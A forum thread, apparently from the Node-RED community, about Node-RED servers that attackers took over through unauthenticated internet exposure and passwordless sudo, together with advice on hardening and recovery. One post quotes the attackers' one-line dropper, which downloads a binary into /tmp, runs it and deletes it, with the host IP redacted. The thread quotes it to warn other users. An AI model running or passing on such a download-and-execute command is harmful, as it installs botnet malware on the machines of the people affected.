Dashboard suddenly asks for password (Hacked Node-RED servers)

General
41

No, but the APIs that allow you (via node-red editor) to update flows and install nodes are literally available to the perpetrator.

Imagine for a second:

  1. Run NR as root. no password set. No firewall rules / no VPN to block access.
  2. hacker port scans the world and finds you have an open port & is serving unencrypted web APIs (AKA node-red backend)
  3. hacker modifies your flows manually (or calls the backend APIs) to install nodes and run privileged commands via the exec node etc

Even without running NR as root, NPM packages can be installed into the NR packages.

  1. When logged in, does sudo prompt for password?
  2. When NR is running under the PI account, it is already logged in - so if sudo doesnt ask for password, then the exec node wont either.
42

No

How to change this ?

43

Take your pick

1 Like
44

Done !

I ran:

sudo visudo

added this line:

pi ALL=(ALL) ALL

And now sudo asks for pi password...
Thanks !

PS: I Now added AdminAuth to my settings.js too, so I guess I should be safe now?

1 Like
45

"Safer"

Do you use HTTPS? If not, the username and password can easily be captured and decoded.

Personally, I DO NOT expose node-red anything to the internet unless via a proxy. for example, I use telegram to tell node-red to "enable internet access" which in turn triggers an NGROK node then telegram responds with a random HTTPS address that I can then connect to node-red with.

2 Likes
46

"cd /tmp; curl -o php http://< someip >/a-r.m-6.ISIS ; chmod +x php; ./php; rm -rf php"

Remove the ip for folks that tend to click these links, it is malware/botnet, source on github
See malware analysis.

1 Like
47

done, my mistake

48

Folks, if you don't mind I would like to adjust the title for this thread to indicate a probably hacking campaign.

If you have been hacked, especially on a device where you might have limited knowledge of its inner workings (as it typical for most of us working on a Pi for home automation), the only realistic approach is to:

  1. Take the device offline, change any external passwords, block ports on your firewall/router.
  2. Check for attackers having gained access to other devices on the network via sideways movement.
  3. Change all of your admin passwords on all devices whether they have been compromised or not. Use different passwords for every account on every device.
  4. Rebuild any infected devices from scratch. Make sure all apps are patched and up-to-date.
  5. BEFORE RECONNECTING TO THE INTERNET.
  6. Ask your self whether a better way would be to use NGROK, Cloudflare Zero Trust or one of the many other HTTP based remote access tools (remembering that something like NGROK is NOT secure out of the box).
  7. If you must allow access to Node-RED from the Internet, set up HTTPS FIRST. Then make sure that you are running Node-RED as a standard user not an administrator. Use a dedicated user-id with a strong passcode. Better still, use a dedicated instance just for external access with critical tasks separated on a different instance running under a different (and still non-admin) account.
  8. Don't forget to lock down all other services - especially MQTT, Databases and Grafana. Better still, use a separate DEVICE to run Internet-facing services.
  9. TEST, TEST, TEST. Make sure there are no accidental entry-points.
  10. Now you can consider reconnecting.

Point 11 is this: Look again at the above and ask yourself if the risk is worth it!

And a bonus point: One that I've made many times. Just because you think your little corner of the Internet is not interesting to attackers, think again, because you would be massively wrong. Whether through automated scans or from one of the hundreds of thousands of people with lots of time and little money - your server and your data is of interest to someone. Please don't be a victim and just as bad, don't be part of the problem.

Oh, and by the way, this is the second time that I'm aware of that node-red servers have been targeted. There may, of course, be others. That's not a lot considering the wide-spread use of Node-RED. I do hope that we will all work to keep it that way.

6 Likes
49

You might like to add that if you are using a pi then create a new user with another name and delete the user pi. If for some reason you can't do that then at least make sure that the default password is changed, and that sudo requires a password.

I note that on the 64 version of Raspbian Bullseye Lite the user pi is no more, it prompts for a user and password on first boot, and that sudo does require a password. This is a big step forward, it is just a pity it has taken 10 years to get to this point. Hopefully the other pi images are the same.

3 Likes
50

My recommendation to friends has always been:

If you don't know how to setup OpenVPN or Zerotier, then don't even think about going online with your services. And please: Forget about youtube videos indicating how easy it seems to be to do so.

OpenVPN or Zerotier are a lot easier to setup and secure compared to any own attempt to publish AND secure own services. Unless you really really know what you are doing. Which I don't :slight_smile:

2 Likes
51

You might like to add that if you are using a pi then create a new user with another name and delete the user pi. If for some reason you can't do that then at least make sure that the default password is changed, and that sudo requires a password.

I note that on the 64 version of Raspbian Bullseye Lite the user pi is no more, it prompts for a user and password on first boot, and that sudo does require a password.

I'm not sure there is any evidence that the attack requires the user pi.

And sudo does not require a password on the RPiOS installation I did last weekend (or indeed on any of my Pies, 64 or 32 bit)

The huge and glaring (now it's been pointed out again) security hole is when the node-red user has passwordless sudo.

So if Node-red is exposed to the internet, the visitor has root access. All they have to do is scan the web for port 1880.

Until NR has fixed it's own relatively loose access control, would it be a good idea to popup a warning when you connect to the editor "This user has sudo access without a password. This is a huge security problem"?

And maybe the Exec node could be tweeked to store the sudo password encrypted in it's config, in case it is needed?

2 Likes
52

Not sure that is quite fair. Though to be sure, it would be better if Dave's script could be extended to install node-red under a new user & group just as web server installs do. But other than that, node-red is simply a node.js app with all of the benefits and pitfalls that brings from a security perspective.

Having Node-RED as "just" another node.js app certainly has benefits. Until someone wants to connect it to the Internet. But then, when that happens, personally I think that it is best to do what we do on the forum which is to give people The Warning. I think that experience shows, this has mostly worked after all. We don't get many issues do we?

Anyway, that's just my personal view. Doing Internet security properly (e.g. not just thinking you have it right) isn't easy I'm afraid and it requires some planning and attention to detail. But this is true of exposing any service to the Internet of course, it isn't unique to Node-RED by any means. We actually have plenty of people on the forum who watch out for these kinds of issues and we have some decent documentation as well.

Ah, no, I don't think that's a good idea at all I'm afraid. Allowing Node-RED to do system admin is all great but should not be mixed with connecting to the Internet. One of the reasons I sometimes recommend that people keep an Internet-facing instance of node red on a different device and then use MQTT or other network connectivity to interface to more secure versions. This is a simplified version of an enterprise configuration where you would have a DMZ containing Internet facing servers separated from a separately secured inner LAN. The nice thing about using Pi's for home automation is that it is so cheap, you can reproduce this kind of architecture right at home for minimal cost.

53

Hi, and thanks again for the many replies. obviously many with good expertise in linux and NR.
For my part, I'm going to keep my boxes offline until I get enough knowledge to make connecting to the internet safe, or at least safer.
sad, as this was a system that made everyday life easier for someone who travels a lot.

1 Like
54

Wise.

If this is all you want, then please look at services that have been mentioned. ZeroTier, Cloudflare Zero Trust and NGROK (making sure you use the secure settings I've previously documented) are all examples of ways to gain secure access to your server without needing to expose Node-RED to the Internet.

Even using vanilla SSH will let you fairly easily configure "port forwarding" that lets you define a local (to your laptop) port that connects to a remote port (such as Node-RED's 1880 port) on the server. Though I recommend that you change the SSH entry port from the default port 22 to something less common which prevents most automated bots from trying to constantly brute-force entry to your SSH connection. Something that will start to happen in about 15-30 seconds of you opening up to the Internet typically.

Using one of the services though means that you won't need to make any firewall changes at all, you simply run an agent on the server.

1 Like
55

I'm not sure what you mean there Julian.
All I suggest is that it's more secure if the Node-red user does not have passwordless sudo.
To retain the current ability to run su commands, the exec node would have to be able to provide the password.

This attack was mounted over the internet but the vulnerability is the same within a company intranet or home network.
A publically available application should not have superuser access. (I'm sure that those you manage don't!)
An application which can have those powers needs proper protection from unauthorised access.

Is Node-red's access control "relatively loose"?
By default there is no access control.
On those devices where I set a password, it occasionally asks me for the password, at long indeterminate intervals.

I know there are efforts ongoing to enhance access control, mostly via buzzwords such as "reverse proxy" and "middleware" which serve to exclude those who don't already speak the jargon.

56

Same issue here... odd that this happened to so many folks around the same time

57

All I mean is that I don't think it is a good idea to store a sudo-capable password in an instance of Node-RED connected to the Internet. At least with sudo, you can control quite exactly what a user is allowed to do passwordless. Putting a password into Node-RED is just another avenue of attack.

I agree in general but, as mentioned, passwordless sudo is quite fine-grained, its just that most of us are too lazy to configure it in detail :slight_smile:

Again, it would be better to have a separate instance of node-red that couldn't easily be accessed from the Internet to do anything sensitive.

That is, of course, generally true. However the risk levels aren't the same. Having an internal-only server, especially if well-configured, reduces risks still further.

:wink: nope! Well, not quite true in fact. My server CAN be accessed from the Internet. BUT, only when I turn the server feature on via a completely separate secure route, then I can remote network to the server using one of the afore mentioned cloud services. Once I'm done, I turn the external access off again. Mostly, I never need external access. But if I ever needed to use Node-RED to provide an Internet-facing web service, it would at least be protected by Cloudflare first, then my router firewall, then a server firewall, then a reverse proxy providing authentication and authorisation. And I would probably still run it on a separate instance of Node-RED. That sounds like a lot of faff, but actually isn't that hard to do.

In fact, I'd likely run the external facing services all on a locked-down Pi and leave my home server internal-only with a very limited interface between the Pi and the server. And I would periodically do an auto-compare of settings between the Pi and a known good config.

But given that All I really need to do is check if the home server is working properly - more accurately, get it to tell me if something is wrong. All I generally need is Telegram with a couple of simple commands that let me turn on/off external remote networking, query the running apps and turn on/off a few lights.

Hmm, I think it is in line with what I'd expect really. My stance has always been that it isn't really Node-RED's job to worry too much about security, that's best left to more specialist tools. What is there is for simple use in my view. Though I do know that some organisations have done security testing. But Node-RED is a general purpose compute environment and it is fairly easy to mess up the security on such a beast. Harder on a tool designed to be the gateway to your systems.

Ah, well that's a conversation for another day. Session expiry, JWT, websocket security, etc are things that also need care and attention if exposing one's systems to 7 billion people (and probably 10's of millions of bots).

Yes, there is still much to be done to try and simplify that. I made a start with some of the documentation for uibuilder but it is a complex subject and certainly hard to put into bite-sized pieces. I still shudder at some of the junk put out on Internet blog posts. Though it is generally getting better.

Not really, a similar thing happened last time. Someone spots a new hole and word gets round. Or it could be a single actor who discovered a hole and then searched for exposed servers. Not really that hard.

1 Like
58

Do you also have your internet exposed to the internet without https and good passwords?

59

The Node-RED Google Assistant Bridge does NOT require the Node-RED instance to be exposed to the internet. It uses MQTT to make a secure outbound connection to receive commands.

It also places no restrictions on enabling admin auth, which should always be enabled before exposing Node-RED to any open network

1 Like
60

I didn't know. AFAIK this port redirection was included in the installation instructions I followed years ago. I now closed these ports on my router and everything still seems to work indeed.

Thanks for noting!